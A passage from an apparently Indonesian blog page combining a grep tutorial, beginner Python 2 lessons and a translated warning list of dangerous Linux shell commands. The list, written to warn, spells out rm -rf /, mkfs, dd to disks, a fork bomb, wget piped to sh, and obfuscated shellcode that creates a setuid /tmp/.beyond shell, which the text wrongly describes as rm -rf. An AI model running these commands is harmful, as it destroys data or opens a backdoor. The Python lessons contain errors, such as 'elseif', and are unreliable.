Sabtu, 14 April 2012

Cara memakai grep di linux

Bagaimana cara menggunakan perintah grep di Linux?

perintah grep akan mencari file yang diberikan untuk baris yang mengandung persamaan ke string yang diberikan atau kata-kata. Secara default, grep mencetak pencocokan baris. Gunakan grep untuk mencari baris teks yang cocok dengan satu atau regular expressions, dan output hanya pencocokan baris.

Nama, “grep”, berasal dari perintah yang digunakan untuk melakukan operasi serupa, menggunakan Unix / Linux editor teks ed: g/re/p

grep command syntax

grep 'word' filename grep 'string1 string2'  filename cat otherfile | grep 'something' command | grep 'something'

Menggunakan grep untuk mencari file

Mencari di /etc/passwd untuk user boo:

$ grep boo /etc/passwd

Anda bisa memaksa untuk mengabaikan sensitifitas kareakter misalnya boo, BOO, Boo dan kombinasi lainya dengan menambahkan pilihan -i :

$ grep -i "boo" /etc/passwd

Menggunakan grep rekursif

Anda bisa mencari secara rekursif misalnya baca semua file di dalam setiap direktori untuk string “192.168.1.5″:

$ grep -r "192.168.1.5" /etc/

Menggunakan grep untuk mencari kata-kata saja

Ketika anda mencari boo, grep akan cocok dengan fooboo, boo123 dll. anda dapat memaksakan grep untuk menhasilkan pencarian yang benar – benar sama dengan kaya yang anda cari. misalnya hanya cocok dengan kata boo :

$ grep -w "boo" /path/to/file

Menggunakan grep untuk mencari 2 kata yang berbeda

$ egrep -w 'word1|word2' /path/to/file

Jumlah baris ketika kata-kata telah dicocokkan

grep dapat melaporkan jumlah kali bahwa pola tersebut telah disesuaikan untuk setiap file menggunakan pilihan -c (count) :

$ grep -c 'word' /path/to/file

Perhatikan juga bahwa Anda dapat menggunakan opsi -n, yang menyebabkan grep untuk mendahului setiap baris output dengan jumlah baris dalam file teks dari yang diperoleh:

$ grep -n 'word' /path/to/file

membalikan kecocokan dengan grep

Anda dapat menggunakan opsi-v untuk mencetak membalikkan kecocokan, yaitu cocok hanya baris yang tidak mengandung kata yang diberikan. Misalnya mencetak semua baris yang tidak mengandung kata bar:

$ grep -v bar /path/to/file

UNIX / Linux pipes dan perintah grep

Perintah grep sering digunakan dengan UNIX / Linux pipes. Contoh nama cetak perangkat hard disk:

# dmesg | egrep '(s|h)d[a-z]'

Tampilan nama model cpu:

# cat /proc/cpuinfo | grep -i 'Model'

Namun, perintah di atas dapat juga digunakan sebagai berikut tanpa shell pipe:

# grep -i 'Model' /proc/cpuinfo

Bagaimana cara menampilkan daftar hanya nama file yang sesuai?

Gunakan opsi-l untuk daftar nama file yang isinya menyebutkan main ():

$ grep -l 'main' *.c

terakhir, Anda dapat memaksa grep untuk menampilkan output dalam warna:

$ grep --color vivek /etc/passwd



Fungsi dan Parameter dalam Python

Sempat gw singgung diawal tentang fungsi, fungsi adalah bagian kode yang terpisah dari kode utama, tetapi kode dalam fungsi bisa dipanggil kapan pun dari dalam kode utama. Sintaks utama:

def ():
return

untuk memanggilnya dari program utama cukup seperti ini:

()

Parameter adalah nilai yang diperlukan fungsi itu untuk bekerja. Misal:

def luaskotak(sisi):
luas=sisi*sisi
return luas

hasil=luaskotak(3)
print hasil

Jika tidak menggunakan return cukup seperti ini:


def luaskotak(sisi):
luas=sisi*sisi
print luas

luaskotak(3)


Ada yang harus benar-benar diingat, pada python tidak menggunakan penutup pada tiap perintah seperti bahasa pemrograman lain. Dan yang krusial adalah jeda setelah perintah yang diakhiri dengan tanda ':' setelah membuat baris baru, ketik tab sekali tidak boleh spasi sehingga setiap kode dalam blog tidak bisa di copy paste/tulis manual. Berlaku ketika pendefinisian fungsi, setelah kontrol program if, for dan while.

http://kramatsatu.blogspot.com/2012/02/fungsi-dan-parameter-dalam-python.html

Kontrol Program dalam Python

Mengontrol alur program dari program yang akan kita buat itu penting. Ada beberapa sintaks yang bisa gunakan, yaitu if, for dan while.

if
if digunakan untuk melakukan perintah pengkondisian. Dimisalkan dengan algoritma 'jika nilai a%2=0, maka a adalah bilangan genap' maka kodenya seperti berikut

a=input()
if a%2 == 0:
print 'a adalah bilangan genap'

tanda % berarti modulasi/sisa bagi, menggunakan == bukan = pada kode di atas dikarenakan operasi 'a%2 == 0' merupakan operasi perbandingan. Lalu untuk untuk algoritma 'jika nilai a%2=0, maka a adalah bilangan genap, jika tidak a adalah bilangan ganjil' menggunakan kode seperti ini:


a=input()
if a%2 == 0:
print 'a adalah bilangan genap'
else:
print 'a adalah bilangan ganjil'

Satu lagi variasi dari kontrol if, yaitu 'elseif' misalnya:


a=input()
if a%2 == 0:
print 'a adalah bilangan genap'
elseif a%2 == 1:
print 'a adalah bilangan ganjil'

Elseif digunakan jika kita menggunakan banyak kemungkinan misalnya : jika a=1 maka...., jika a=2 maka...., jika a=3 maka....., jika tidak ada yang memenuhi maka..... kurang lebih seperti itu hehe


for
for digunakan untuk perulangan (looping), yaitu mengulangi suatu perintah kode sampai bilangan yang ditentukan. Misal:


for i in range(3):
print 'ulang'

Nilai dari variabel i berubah untuk setiap perulangannya. misal jika kodenya di ubah:

for i in range(3):
print i



Maka hasilnya? silahkan coba dan simpulkan sendiri haha

while
while memiliki fungsi yang sama seperti for, hanya saja cara kerjanya yang berbeda. Kalau for melakukan sekian kali perulangan, dengan jumlah perulangan ditentukan sedangkan while melakukan perulangan sampai syarat pada while tidak terpenuhi. misal:


a=1
while a<3:
print a
a=a+1


Ada yang harus benar-benar diingat, pada python tidak menggunakan penutup pada tiap perintah seperti bahasa pemrograman lain. Dan yang krusial adalah jeda setelah perintah yang diakhiri dengan tanda ':' setelah membuat baris baru, ketik tab sekali tidak boleh spasi sehingga setiap kode dalam blog tidak bisa di copy paste/tulis manual. Berlaku ketika pendefinisian fungsi, setelah kontrol program if, for dan while.

http://kramatsatu.blogspot.com/2012/02/kontrol-program-dalam-python.html

Variable, List, Operator dalam Python

Variabel dan tipe data
Variable itu seperti sebuah kotak kosong, yang nama kotak itu bisa kita tentukan untuk membedakannya dengan yang lain. Kotak ini bisa diisi suatu nilai apa saja. Jadi fungsi kotak ini ( variabel ) adalah untuk menyimpan suatu nilai untuk digunakan nantinya. Bentuk nilai (tipe data nilai) yang bisa digunakan pada python dan bisa di dimasukkan pada suatu variabel antara lain:
  • integer :: bilangan bulat basis 10 antara -2147483647 sampai 2147483647
  • float :: bilangan desimal, misal: 1.2
  • long integer :: bilangan bulat > 2147483647
  • octal integer :: bilangan bulat basis 8
  • hexadecimal integer :: bilangan bulat basis 16
  • complex :: bilangan kompleks
  • string :: string/karakter
  • list :: seperti array pada bahasa lain, kumpulan nilai - nilai pada satu variabel
  • dictionary :: seperti list hanya saja ada kata kunci untuk setiap nilai
Ada peraturan peraturan yang berlaku seperti tidak bisa menjumlahkan dua variabel yang tipe datanya berbeda dsb. Lalu bagaimana cara memasukkan suatu nilai kedalam variabel?

a=input()
b=2
c='asd'

Singkat kata, cukup menuliskan nama variabel di ikuti sama dengan ( = ) kemudian operasi untuk mendapatkan nilai yang ingin di masukkan.


Operator
Operasi-operasi nilai pada python bisa dilakukan dengan menggunakan operator-operator sebagai berikut:

Operasi aritmatik:

OperatorDescriptionExample
+Penjumlahan7 + 4 = 11
-Pengurangan7 - 4 = 3
*Perkalian7 * 4 = 28
/Pembagian7 / 4 = 1
%Modulus / sisa bagi7 % 4 = 3

Operasi perbandingan:

OperatorDescriptionExample
==Jika sama = true
Jika tidak sama = false
( 7 == 4 ) menghasilkan false
!=
Jika tidak sama = true
Jika sama = false
( 7 != 4 ) menghasilkan true
<>
Jika tidak sama = true
Jika sama = false
( 7 <> 4 ) menghasilkan true
>
Jika lebih besar = true
Jika lebih kecil = false
( 7 > 4 ) menghasilkan true
<
Jika lebih kecil = true
Jika lebih besar = false
( 7 < 4 ) menghasilkan false
>=

Jika lebih besar atau sama = true
Jika lebih kecil dan tidak sama = false

( 7 > 4 ) menghasilkan true
<=
Jika lebih kecil atau sama = true
Jika lebih kecil dan tidak sama = false
( 7 < 4 ) menghasilkan false

Operasi logika:
OperatorDescriptionExample
andFungsi dan( true and false.) menghasilkan false
orFungsi atau( true or false ) menghasilkan true
notFungsi negasinot( true and false ) menghasilkan true


List
Tadi sudah disinggung sedikit mengenai apa itu list, yaitu array pada bahasa program lain, yaitu kumpulan beberapa nilai dalam satu variabel.

a=['nilai',12,23]
print a[0] #akan mencetak 'nilai' pada output
print a[2] #akan mencetak 23



http://kramatsatu.blogspot.com/

Input dan Output dalam Python (I/O)

Hal lain yang penting dalam sebuah program adalah input dan output. Untuk input dalam python ada dua jenis sintaks yaitu input() dan raw_input(). input() digunakan jika data yang akan diinputkan bertipe data integer (bilangan bulat) sedangkan raw_input() digunakan jika data yang akan diimputkan bertipe data string. Banyak option yang bisa ditambahkan pada dua sintaks ini, tapi yang paling sering dipake buat pemula itu seperti berikut:


a=input()
b=raw_input()
c=input('masukkan nilai c: ')
d=raw_input('masukkan nilai d: ')

'masukkan nilai c: ' akan tercetak pada output, silahkan coba sendiri biar ngerasain sendiri bedanya haha

Sekarang buat output.Untuk output di python bisa menggunakan sintak 'print' disusul dengan variabel atau data yang ingin di cetak. Misal penggunaan:

d=raw_input('masukkan nilai d: ')
print d
print "print"


http://kramatsatu.blogspot.com/2012/02/input-dan-output-dalam-python-io.html

Pengenalan Python

Apa itu python?
Oke pertama apa itu python? Python adalah salah satu bahasa program, lebih tepatnya interpreter. Dalam dunia pemrograman dikenal dua jenis tipe bahasa program: compiler dan interpreter. Compiler bekerja dengan cara mengubah kode dari bahasa program yang kita buat ke dalam bahasa yang lebih sederhana yang bisa dipahami mesin. Sedangkan interpreter, dari kode yang kita buat akan diterjemahkan per perintah. berikut skema perbedaan compiler dan interpreter:


Sekian penjelasan singakat tentang interpreter dan compiler, yang harus diingat adalah python itu interpreter.

IDE bawaan python
IDE untuk python sendiri bisa di dapatkan gratis langsung dari web resminya (http://python.org/). Python sampai sekarang sudah realase sampai versi 3.x tapi versi tersebut menggunakan core baru sehingga kebanyakan penggunanya masih menggunakan versi 2.x dan gw serta tutorial yang bakal gw tulis disini juga pakai versi 2.x.IDE bawaan python namanya IDLE python.

Setelah program diinstal, ketika dibuka yang pertama muncul adalah jendel interactive shell, interactive shell adalah core awal python, terinstall default pada linux. Seperti yang gw singgung di awal, pyhton itu interpreter, penterjemahan kode dilakukan perperintah. Dalam interactive shell kita bisa 'mencoba' memasukkan kode apa saja dan hasilnya langsung keluar. Interactive shell berfungsi untuk menampilkan keluaran dari kode yang kita buat. Selain itu, interactive shell juga bisa dipakai untuk mencari kesalahan kode kita, mencoba apakah satu baris kode/perintah yang kita buat akan berjalan semestinya atau tidak.


Tapi kita tidak bekerja sepenuhnya disini. Selain interactive shell IDLE python juga dilengkapi dengan teks editornya, untuk membukanya pilih File > New Window. Hampir sama seperti notepad biasa, hanya saja ada beberapa fitur tambahan seperti perbedaan warna dalam kode, autocomplete dsb.

Struktur dasar python
Struktur dasar kode pada python dibagi menjadi tiga bagian, header, fuungsi, dan main program. Contoh kode python adalah seperti ini:
#import
from numpy import *
import math

#fungsi
def fungsi():
print "at fungsi"

#main program
print "at main program"

Import adalah bagian kode yg berisi library dan atau modul apa saja yang akan digunakan. Fungsi adalah bagian kode untuk menuliskan fungsi, penjelasan fungsi lebih jelas ada pada bab Fungsi dan Parameter. Dan main program adalah tempat untuk menuliskan kode utama program. Ada yang harus benar-benar diingat, pada python tidak menggunakan penutup pada tiap perintah seperti bahasa pemrograman lain. Dan yang krusial adalah jeda setelah perintah yang diakhiri dengan tanda ':' setelah membuat baris baru, ketik tab sekali tidak boleh spasi sehingga setiap kode dalam blog tidak bisa di copy paste/tulis manual. Berlaku ketika pendefinisian fungsi, setelah kontrol program if, for dan while.

http://kramatsatu.blogspot.com/2012/02/pengenalan-python.html

LINUX: Perintah-Perintah Shell Yang Berbahaya

Saya menerima begitu banyak pertanyaan mengenai perintah-perintah berbahaya yang bisa dijalankan melalui shell, yaitu perintah yang menyebabkan kerusakan besar atau gangguan pada komputer pengguna.

Berikut adalah beberapa contoh umum perintah-perintah berbahaya yang harus diingat sepanjang waktu. Sekali lagi, perintah ini sangat berbahaya dan jangan pernah mencobanya pada komputer yang memiliki data-data penting.

Sekali lagi, PERINTAH BERBAHAYA - BOLEH DILIHAT TAPI JANGAN DIJALANKAN.

Daftar di bawah ini jauh dari lengkap, tapi paling tidak ada sedikit petunjuk agar anda tidak melakukannya dengan sengaja atau tidak. Ingatlah bahwa perintah ini bisa disamarkan dalam bentuk yang 'lebih aman' menurut pandangan anda, sehingga anda sendiri merasa cukup aman untuk menjalankan perintah mematikan ini.

1. Bahaya: Hapus semua file.

Hapus semua file, hapus direktori aktif, dan hapus semua file terlihat di direktori aktif. Sudah jelas mengapa perintah ini berbahaya untuk dieksekusi.

rm -rf /
rm -rf .
rm -rf *

Satu-satunya masalah adalah, kaitan ke direktori sebelumnya akan sesuai dengan direktori di atasnya dan pada gilirannya akan menghapus semua tingkat direktori. Sebuah alternatif perintah yang sesuai dengan kondisi di atas adalah:

rm -r .[^.]*

yang akan mengecualikan entri "..". dan hanya ini yang tersisa dalam harddisk anda.


2. Bahaya: Format ulang.

Data pada perangkat yang disebutkan setelah perintah mkfs akan dihancurkan dan diganti dengan filesystem kosong.

mkfs
mkfs.ext3
mkfs.apa_saja

3. Bahaya: Manipulasi blok.

Manipulasi blok perangkat dilakukan dengan menuliskan data mentah ke dalam blok perangkat. Sering kali data ini menimpa data filesystem dan menyebabkan kehilangan total data.

perintah_apapun > / dev / sda
dd if=suatu_perintah of=/dev/sda

4. Bahaya: Forkbom.

Memaksa melakukan sejumlah besar proses sampai sistem membeku, memaksa anda untuk melakukan hard reset yang bisa menyebabkan data korup, kerusakan data, atau nasib buruk lainnya.

:(){:|:&};:

untuk perl:

fork while fork

5. Bahaya: Tarbom

Seseorang meminta anda untuk mengekstrak arsip *.tar ke direktori yang sudah ada dan banyak mengandung data. Arsip *.tar ini dapat dibuat untuk menghasilkan jutaan file, atau menyuntikkan file ke dalam sistem dengan menebak nama file. Untuk mencegahnya, anda harus terbiasa mendekompresi (ekstrak) arsip apapun di dalam direktori baru yang harus anda buat.

Sejenis dengan ini, anda yakin ingin mengekstrak sebuah arsip yang tampaknya berukuran kecil. Pada kenyataannya itu adalah sejumlah data yang sangat besar hingga berukuran ratusan Giga Byte, dan data sia-sia itu mengisi hard-disk anda. Anda sebaiknya tidak menyentuh data dari sumber yang tidak dipercaya.

6. Bahaya: Shellscript.

Seseorang memberikan Anda sebuah link shellscript untuk di eksekusi. Padahal script itu bisa saja berisi perintah yang berbahaya dan jahat. Jangan menjalankan kode dari sumber yang tidak bisa dipercaya.

wget http://suatu_situs/suatu_file
sh ./suatu_file.

wget http://suatu_situs/suatu_file -O- | sh

7. Kompilasi kode.

Seseorang memberikan Anda suatu kode sumber kemudian memberitahu Anda untuk mengkompilasinya. Sangat mudah untuk menyembunyikan dan menyisipkan kode berbahaya dalam sebagian besar beris-baris kode sumber. Kode sumber ini merupakan media yang baik untuk menebarkan perintah berbahaya tanpa takut ketahuan.
Jangan mengkompilasi atau menjalankan kode sumber kecuali dari sumber yang dikenal luas, atau diperoleh dari situs terkemuka (yaitu SourceForge, homepage penulis, alamat-alamat resmi Linux).

8. Perintah berbahaya dalam bentuk aman

Sebuah contoh yang sederhana adalah seseorang menuliskan ini dan menginginkan anda memasukkannya dalam shell.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Bagi pengguna komputer awam atau bahkan pengguna yang sedikit berpengalaman, barisan karakter di atas terlihat seperti "kode heksa tanpa arti" yang biasanya aman. Namun, ini sebenarnya menjalankan rm-rf ~ / & yang akan menghancurkan direktori home Anda sebagai user biasa, atau semua file sebagai root. Ini adalah perintah rm-rf ~ / & dalam bentuk heksa. Jadi hati-hati sekali dengan hal-hal yang anda anggap aman ternyata bentuk lain dari sebuah perintah berbahaya.


Sekali lagi, dalam python anda dihadapkan pada kode yang mempunyai bentuk aman seperti ini:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Dimana "sn!.sg!+" adalah bentuk sederhana dari rm-rf * yang menggeser karakter ke atas. Tentu saja ini contoh yang konyol, saya tidak mengharapkan ada seseorang yang cukup bodoh untuk meng-copy-paste baris perintah mengerikan ini ke dalam terminal dan menjalankannya tanpa mencurigai ada sesuatu yang fatal.

Penulis adalah admin forum http://ubuntuforums.org/
Diterjemahkan secara bebas oleh xtalplanet